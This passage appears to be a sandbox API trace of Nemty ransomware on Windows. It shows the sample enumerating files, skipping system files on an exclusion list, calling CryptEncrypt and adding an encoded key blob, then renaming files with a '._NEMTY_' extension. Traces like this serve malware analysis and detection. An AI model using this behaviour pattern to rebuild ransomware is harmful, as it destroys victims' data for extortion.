(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0067.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.146] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png._nemty_kgobjgd_")) returned 0 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.146] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="background.png", cAlternateFileName="")) returned 1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="...") returned 1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="$RECYCLE.BIN") returned 1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="rsa") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="NTDETECT.COM") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="ntldr") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="MSDOS.SYS") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="IO.SYS") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="AUTOEXEC.BAT") returned 1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="desktop.ini") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="CONFIG.SYS") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="RECYCLER") returned -1 [0067.146] lstrcmpiW (lpString1="background.png", lpString2="BOOTSECT.BAK") returned -1 [0067.147] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1 [0067.147] lstrcmpiW (lpString1="background.png", lpString2="programdata") returned -1 [0067.147] lstrcmpiW (lpString1="background.png", lpString2="appdata") returned 1 [0067.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0067.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0067.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0067.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0067.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0067.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0067.147] Sleep (dwMilliseconds=0x5) [0067.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbacc410, dwHighDateTime=0x1d561e7)) [0067.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbacc410, dwHighDateTime=0x1d561e7)) [0067.156] GetLastError () returned 0x5 [0067.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.156] GetLastError () returned 0x5 [0067.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.156] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0067.156] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="7MLmIy4FHupKiGMbjB/Qk7tOM0JjnxHUH9JA5ZZrYttWQasC6M6PxMMbSngqKZU8\r\nKafF/oqfhQ9YE3N0n0DpRwq6Xp6bMUv+qG2B8KxVO0QxIIYsOD5bKK22FhmDeuGu\r\nOoc5Xr5AlZ895JfUJTxd0jfBb3GYsJWkaNMImi8DutYwEpWNiCHrRorp97fI/Gih\r\nHyGsba+I0YBDo61FcMQsTlSFJi99tjFc8vE6gqAuZmLKFkHVg6BH+Px4vpMYx+o/\r\no0S64YKqWYfN9maw8zhQfxEJ3KSXTiGuBTr0qzvfrYRZww3hOQU8o8k/ztSBLY4d\r\ncRVrtYr2D96HCJ8em5WMvQ==\r\n", pcchString=0x653e91c) returned 1 [0067.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0067.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.157] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.158] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.253] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.266] CloseHandle (hObject=0xffffffff) returned 0 [0067.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0067.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0067.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.266] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png._nemty_kgobjgd_")) returned 0 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0067.266] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0067.266] lstrcmpiW (lpString1="btn-back-static.png", lpString2=".") returned 1 [0067.266] lstrcmpiW (lpString1="btn-back-static.png", lpString2="..") returned 1 [0067.266] lstrcmpiW (lpString1="btn-back-static.png", lpString2="...") returned 1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="windows") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="$RECYCLE.BIN") returned 1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="rsa") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="NTDETECT.COM") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntldr") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="MSDOS.SYS") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="IO.SYS") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", 